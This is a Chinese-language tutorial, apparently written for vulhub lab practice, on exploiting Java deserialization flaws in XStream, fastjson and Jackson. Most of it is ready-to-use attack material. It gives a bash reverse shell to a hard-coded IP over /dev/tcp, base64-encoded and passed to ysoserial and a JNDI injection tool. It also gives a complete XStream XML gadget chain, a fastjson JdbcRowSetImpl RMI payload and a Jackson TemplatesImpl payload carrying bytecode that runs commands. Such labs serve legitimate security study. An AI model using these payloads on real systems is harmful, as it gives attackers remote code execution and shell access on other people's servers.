Java安全-组件漏洞

1.XStream

XStream是⼀个简单的基于Java库，Java对象序列化到XML，历史上存在多个反序列化漏洞。
环境：vulhub-master/xstream/CVE-2021-29505

需要下载反序列化工具git clone https://github.com/frohoff/ysoserial
或者登录网址直接下载jar文件
为了方便，只用一个服务器来演示
对反弹shell的语句进行base64编码
bash -i >& /dev/tcp/39.105.47.83/6666 0>&1

完整语句
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1098 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNDcuODMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"
只需将编码后的结果进行更换

同时在服务器开启监听

首页抓包

修改请求方法为post，在请求体中加入下面的内容

复制代码

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>39.105.47.83</string>
                                                <int>1098</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>39.105.47.83</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

代码中修改为自己ip

文件格式

发送请求，可以在我们构造的文件处发现被引用

且收到监听

2.fastjson

fastjson是阿⾥巴巴的开源JSON解析库，它可以解析JSON格式的字符串，⽀持将Java Bean序列化为 JSON字符串，也可以从JSON字符串反序列化到JavaBean，历史上存在多个反序列化漏洞。
环境：/vulhub/fastjson/1.2.24-rce

需要下载的工具 JNDI
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNDcuODMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "39.105.47.83"

开启监听

刷新主页进行抓包，修改请求方法和木马连接，使用上面生成的jdk1.8，不行的话，试试其他的

复制代码

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://39.105.47.83:1099/phn8c0",
"autoCommit":true
}
}

发送就可以反弹成功

3.Jackson

Jackson是⼀套开源的java序列化与反序列化工具框架，可将java对象序列化为xml和json格式的字符串，并提供对应的反序列化过程。由于其解析效率较⾼，Jackson目前是Spring MVC中内置使⽤的解析方式。
环境：vulhub/jackson/CVE-2017-7525

进入容器，看一下存在的文件，来确保我们一会能够生成文件

数据包

复制代码

{
 "param": [
 "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 {
 "transletBytecodes": [
 "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
 ],
 "transletName": "a.b",
 "outputProperties": {}
 }
 ]
}

其中中间为base64编码，有创建文件的指令

修改请求方式，将下面内容进行修改，再加入上面的代码

文件创建成功